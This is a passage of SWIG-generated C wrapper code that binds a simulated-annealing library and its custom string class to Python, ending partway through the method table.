(arg0->size); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_label_set(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Os:string_label_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; { if (arg0->label) delete [] arg0->label; arg0->label = new char[strlen(arg1)+1]; strcpy(arg0->label,arg1); } Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_label_get(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; PyObject * argo0 =0 ; char *result ; if(!PyArg_ParseTuple(args,(char *)"O:string_label_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (char *) (arg0->label); resultobj = PyString_FromString(result); return resultobj; } static PyObject *_wrap_new_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *result ; if(!PyArg_ParseTuple(args,(char *)":new_string")) return NULL; result = (string *)new string(); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_new_string_int_char(PyObject *self, PyObject *args) { PyObject *resultobj; int arg0 ; char *arg1 = NULL ; string *result ; if(!PyArg_ParseTuple(args,(char *)"i|s:new_string_int_char",&arg0,&arg1)) return NULL; result = (string *)new string(arg0,arg1); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_new_string_char_char(PyObject *self, PyObject *args) { PyObject *resultobj; char *arg0 ; char *arg1 = NULL ; string *result ; if(!PyArg_ParseTuple(args,(char *)"s|s:new_string_char_char",&arg0,&arg1)) return NULL; result = (string *)new string(arg0,arg1); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_new_string_string_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 = NULL ; PyObject * argo0 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"O|s:new_string_string_char",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (string *)new string(*arg0,arg1); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_delete_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:delete_string",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; delete arg0; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_clean(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:string_clean",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; arg0->clean(); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_cat_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_cat_string",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->cat(*arg1); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_cat(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"Os:string_cat",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->cat(arg1); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_copy_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_copy_string",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->copy(*arg1); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_copy_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"Os:string_copy_char",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->copy(arg1); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_copy_dl(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; double arg1 ; long arg2 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Odl:string_copy_dl",&argo0,&arg1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->copy(arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_copy_i(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; int arg1 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Oi:string_copy_i",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->copy(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_copy(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct variable *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_copy",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; result = (int )arg0->copy(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_out(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char **arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:string_out",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_p_char,1)) == -1) return NULL; arg0->out(arg1); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_ncopy_string_i(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; int arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOi:string_ncopy_string_i",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->ncopy(*arg1,arg2); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_ncopy(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; int arg2 ; int arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOii:string_ncopy",&argo0,&argo1,&arg2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->ncopy(*arg1,arg2,arg3); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_compose_str_str_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; string *arg2 ; char *arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOOs:string_compose_str_str_char",&argo0,&argo1,&argo2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->compose(*arg1,*arg2,arg3); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_compose_str_char_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; char *arg2 ; char *arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOss:string_compose_str_char_char",&argo0,&argo1,&arg2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->compose(*arg1,arg2,arg3); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_compose_str_d_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; double arg2 ; char *arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOds:string_compose_str_d_char",&argo0,&argo1,&arg2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->compose(*arg1,arg2,arg3); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_compose(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; int arg2 ; char *arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; string *result ; if(!PyArg_ParseTuple(args,(char *)"OOis:string_compose",&argo0,&argo1,&arg2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; string &_result_ref = arg0->compose(*arg1,arg2,arg3); result = (string *) &_result_ref; resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_string_element(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; int arg1 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Oi:string_element",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->element(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_compose_struct_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_compose_struct_string",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->compare(*arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_compare(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Os:string_compare",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->compare(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_strcompspan_chari(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; int arg2 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Osi:string_strcompspan_chari",&argo0,&arg1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_complement_span(arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_strcompspan_struct_stringi(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; int arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOi:string_strcompspan_struct_stringi",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_complement_span(*arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_string_complement_span(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Os:string_string_complement_span",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_complement_span(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_stringspan_struct_stringi(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; int arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOi:string_stringspan_struct_stringi",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_span(*arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_string_span(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; int arg2 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Osi:string_string_span",&argo0,&arg1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_span(arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_stringstring_struct_string_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; char *arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOs:string_stringstring_struct_string_char",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_string(*arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_stringstring_structstring_structstring(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; struct string *arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOO:string_stringstring_structstring_structstring",&argo0,&argo1,&argo2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_string(*arg1,*arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_string_string(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; struct string *arg2 ; int arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOOi:string_string_string",&argo0,&argo1,&argo2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_string(*arg1,*arg2,arg3); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_string_character(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char arg1 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"Oc:string_string_character",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->string_character(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_string_pointer_break(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; struct string *arg1 ; char *arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OOs:string_string_pointer_break",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; arg0->string_pointer_break(*arg1,arg2); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_fileopen(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; char *arg1 ; PyObject * argo0 =0 ; FILE *result ; if(!PyArg_ParseTuple(args,(char *)"Os:string_fileopen",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (FILE *)arg0->fileopen(arg1); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_FILE); return resultobj; } static PyObject *_wrap_string_fileread(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_fileread",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->fileread(*arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_filereadc(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; char arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOc:string_filereadc",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->filereadc(*arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_filewrite_string_char(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; string *arg1 ; char *arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOs:string_filewrite_string_char",&argo0,&argo1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->filewrite(*arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_filewrite(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; FILE *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OO:string_filewrite",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_FILE,1)) == -1) return NULL; result = (int )arg0->filewrite(arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_system_call(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:string_system_call",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )arg0->system_call(); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_init(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; int arg1 ; char *arg2 = NULL ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oi|s:string_init",&argo0,&arg1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; arg0->init(arg1,arg2); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_print(PyObject *self, PyObject *args) { PyObject *resultobj; struct string *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:print",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; print(*arg0); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_strprint_structstring_char_char(PyObject *self, PyObject *args) { PyObject *resultobj; struct string *arg0 ; char *arg1 = NULL ; char *arg2 = NULL ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O|ss:strprint_structstring_char_char",&argo0,&arg1,&arg2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; strprint(*arg0,arg1,arg2); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_strprint_structstring_int_char_char(PyObject *self, PyObject *args) { PyObject *resultobj; struct string *arg0 ; int arg1 ; char *arg2 = NULL ; char *arg3 = NULL ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oi|ss:strprint_structstring_int_char_char",&argo0,&arg1,&arg2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; strprint(*arg0,arg1,arg2,arg3); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_strprint(PyObject *self, PyObject *args) { PyObject *resultobj; struct string *arg0 ; int arg1 ; char arg2 ; char *arg3 = NULL ; char *arg4 = NULL ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oic|ss:strprint",&argo0,&arg1,&arg2,&arg3,&arg4)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; strprint(*arg0,arg1,arg2,arg3,arg4); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyMethodDef simannealfileMethods[] = { { (char *)"new_simanneal_varlist", _wrap_new_simanneal_varlist, METH_VARARGS }, { (char *)"delete_simanneal_varlist", _wrap_delete_simanneal_varlist, METH_VARARGS }, { (char *)"simanneal_varlist_cleany", _wrap_simanneal_varlist_cleany, METH_VARARGS }, { (char *)"simanneal_varlist_clean", _wrap_simanneal_varlist_clean, METH_VARARGS }, { (char *)"simanneal_varlist_pt2xn", _wrap_simanneal_varlist_pt2xn, METH_VARARGS }, { (char *)"simanneal_varlist_vl_set", _wrap_simanneal_varlist_vl_set, METH_VARARGS }, { (char *)"simanneal_varlist_vl_get", _wrap_simanneal_varlist_vl_get, METH_VARARGS }, { (char *)"simanneal_varlist_next_set", _wrap_simanneal_varlist_next_set, METH_VARARGS }, { (char *)"simanneal_varlist_next_get", _wrap_simanneal_varlist_next_get, METH_VARARGS }, { (char *)"new_simulated_annealing", _wrap_new_simulated_annealing, METH_VARARGS }, { (char *)"new_simulated_annealing_6args", _wrap_new_simulated_annealing_6args, METH_VARARGS }, { (char *)"delete_simulated_annealing", _wrap_delete_simulated_annealing, METH_VARARGS }, { (char *)"simulated_annealing_vl_set", _wrap_simulated_annealing_vl_set, METH_VARARGS }, { (char *)"simulated_annealing_vl_get", _wrap_simulated_annealing_vl_get, METH_VARARGS }, { (char *)"simulated_annealing_svl_set", _wrap_simulated_annealing_svl_set, METH_VARARGS }, { (char *)"simulated_annealing_svl_get", _wrap_simulated_annealing_svl_get, METH_VARARGS }, { (char *)"simulated_annealing_text_set", _wrap_simulated_annealing_text_set, METH_VARARGS }, { (char *)"simulated_annealing_text_get", _wrap_simulated_annealing_text_get, METH_VARARGS }, { (char *)"simulated_annealing_success_set", _wrap_simulated_annealing_success_set, METH_VARARGS }, { (char *)"simulated_annealing_success_get", _wrap_simulated_annealing_success_get, METH_VARARGS }, { (char *)"simulated_annealing_tc_max_set", _wrap_simulated_annealing_tc_max_set, METH_VARARGS }, { (char *)"simulated_annealing_tc_max_get", _wrap_simulated_annealing_tc_max_get, METH_VARARGS }, { (char *)"simulated_annealing_t_factor_set", _wrap_simulated_annealing_t_factor_set, METH_VARARGS }, { (char *)"simulated_annealing_t_factor_get", _wrap_simulated_annealing_t_factor_get, METH_VARARGS }, { (char *)"simulated_annealing_call_set", _wrap_simulated_annealing_call_set, METH_VARARGS }, { (char *)"simulated_annealing_call_get", _wrap_simulated_annealing_call_get, METH_VARARGS }, { (char *)"simulated_annealing_build_varlist", _wrap_simulated_annealing_build_varlist, METH_VARARGS }, { (char *)"simulated_annealing_optimize", _wrap_simulated_annealing_optimize, METH_VARARGS }, { (char *)"simulated_annealing_vary_simvarlist", _wrap_simulated_annealing_vary_simvarlist, METH_VARARGS }, { (char *)"simulated_annealing_take_new_result", _wrap_simulated_annealing_take_new_result, METH_VARARGS }, { (char *)"x_now_2_x_opt", _wrap_x_now_2_x_opt, METH_VARARGS }, { (char *)"calc_4args", _wrap_calc_4args, METH_VARARGS }, { (char *)"calculate", _wrap_calculate, METH_VARARGS }, { (char *)"new_evaluate", _wrap_new_evaluate, METH_VARARGS }, { (char *)"delete_evaluate", _wrap_delete_evaluate, METH_VARARGS }, { (char *)"evaluate_criteria_set", _wrap_evaluate_criteria_set, METH_VARARGS }, { (char *)"evaluate_criteria_get", _wrap_evaluate_criteria_get, METH_VARARGS }, { (char *)"evaluate_goal_set", _wrap_evaluate_goal_set, METH_VARARGS }, { (char *)"evaluate_goal_get", _wrap_evaluate_goal_get, METH_VARARGS }, { (char *)"evaluate_epsilon_set", _wrap_evaluate_epsilon_set, METH_VARARGS }, { (char *)"evaluate_epsilon_get", _wrap_evaluate_epsilon_get, METH_VARARGS }, { (char *)"evaluate_minchange_set", _wrap_evaluate_minchange_set, METH_VARARGS }, { (char *)"evaluate_minchange_get", _wrap_evaluate_minchange_get, METH_VARARGS }, { (char *)"evaluate_n_set", _wrap_evaluate_n_set, METH_VARARGS }, { (char *)"evaluate_n_get", _wrap_evaluate_n_get, METH_VARARGS }, { (char *)"evaluate_abort", _wrap_evaluate_abort, METH_VARARGS }, { (char *)"string_size_set", _wrap_string_size_set, METH_VARARGS }, { (char *)"string_size_get", _wrap_string_size_get, METH_VARARGS }, { (char *)"string_label_set", _wrap_string_label_set, METH_VARARGS }, { (char *)"string_label_get", _wrap_string_label_get, METH_VARARGS }, { (char *)"new_string", _wrap_new_string, METH_VARARGS }, { (char *)"new_string_int_char", _wrap_new_string_int_char, METH_VARARGS }, { (char *)"new_string_char_char", _wrap_new_string_char_char, METH_VARARGS }, { (char *)"new_string_string_char", 